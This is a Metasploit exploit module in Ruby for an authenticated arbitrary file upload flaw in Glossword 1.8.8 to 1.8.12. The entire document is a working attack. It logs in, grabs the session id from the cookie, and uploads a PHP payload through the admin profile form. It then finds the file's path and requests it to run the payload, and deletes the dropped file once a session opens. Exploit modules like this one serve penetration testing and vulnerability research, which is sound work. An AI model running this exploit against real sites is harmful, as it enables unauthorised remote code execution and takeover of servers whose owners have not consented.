Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
   'Description'    => %q{
    This module exploits a file upload vulnerability in Glossword
    versions 1.8.8 to 1.8.12 when run as a standalone application.
    This application has an upload feature that allows an authenticated user
    with administrator roles to upload arbitrary files to the 'gw_temp/a/'
    directory.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'AkaStep', # Discovery
     'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
    ],
   'References'     =>
    [
     [ 'EDB',  '24456' ],
     [ 'OSVDB' '89960' ]
    ],
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [['Automatic Targeting', { 'auto' => true }]],
   'Privileged'     => true,
   'DisclosureDate' => "Feb 05 2013",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
    OptString.new('USERNAME',  [true, 'The username for Glossword', 'admin']),
    OptString.new('PASSWORD',  [true, 'The password for Glossword', 'admin'])
   ], self.class)
 end

 def check

  base  = target_uri.path
  peer  = "#{rhost}:#{rport}"
  user  = datastore['USERNAME']
  pass  = datastore['PASSWORD']

  # login
  print_status("#{peer} - Authenticating as user '#{user}'")
  begin
   res = login(base, user, pass)
   if res
    if res.code == 200
     print_error("#{peer} - Authentication failed")
     return Exploit::CheckCode::Unknown
    elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
     print_good("#{peer} - Authenticated successfully")
     return Exploit::CheckCode::Appears
    end
   end
   return Exploit::CheckCode::Safe
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

 end

 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   client.fs.file.rm("#{@fname}")
  else
   client.shell_command_token("rm #{@fname}")
  end
 end

 def upload(base, sid, fname, file)

  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  data = Rex::MIME::Message.new
  data.add_part(file,       'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
  data.add_part("edit-own", nil, nil, 'form-data; name="a"')
  data.add_part("users",    nil, nil, 'form-data; name="t"')
  data.add_part("Save",     nil, nil, 'form-data; name="post"')
  data.add_part("#{sid}",   nil, nil, 'form-data; name="sid"')
  data.add_part("#{user}",  nil, nil, 'form-data; name="arPost[login]"')
  data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_new]"')
  data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_confirm]"')

  data_post = data.to_s
  data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => normalize_uri(base, 'gw_admin.php'),
   'ctype'   => "multipart/form-data; boundary=#{data.bound}",
   'data'    => data_post,
  })

  return res
 end

 def login(base, user, pass)

  res   = send_request_cgi({
   'method' => 'POST',
   'uri'    => normalize_uri(base, 'gw_login.php'),
   'data'   => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
  })
  return res

 end

 def exploit

  base  = target_uri.path
  @peer = "#{rhost}:#{rport}"
  @fname= rand_text_alphanumeric(rand(10)+6) + '.php'
  user  = datastore['USERNAME']
  pass  = datastore['PASSWORD']

  # login; get session id and token
  print_status("#{@peer} - Authenticating as user '#{user}'")
  res = login(base, user, pass)
  if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
   token = "#{$1}"
   sid   = "#{$2}"
   print_good("#{@peer} - Authenticated successfully")
  else
   fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
  end

  # upload PHP payload
  print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
  php = %Q|<?php #{payload.encoded} ?>|
  begin
   res = upload(base, sid, @fname, php)
   if res and res.code == 301 and res['location'] =~ /Setting saved/
    print_good("#{@peer} - File uploaded successfully")
   else
    fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
   end
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  end

  # retrieve PHP file path
  print_status("#{@peer} - Locating PHP payload file")
  begin
   res   = send_request_cgi({
    'method' => 'GET',
    'uri'    => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
    'cookie' => "sid#{token}=#{sid}"
   })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  end
  if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
   shell_uri = "#{$1}"
   @fname    = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
   print_good("#{@peer} - Found payload file path (#{shell_uri})")
  else
   fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
  end

  # retrieve and execute PHP payload
  print_status("#{@peer} - Executing payload (#{shell_uri})")
  begin
   send_request_cgi({
    'method' => 'GET',
    'uri'    => normalize_uri(base, shell_uri),
   })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  end
  if !res or res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
  end
 end
end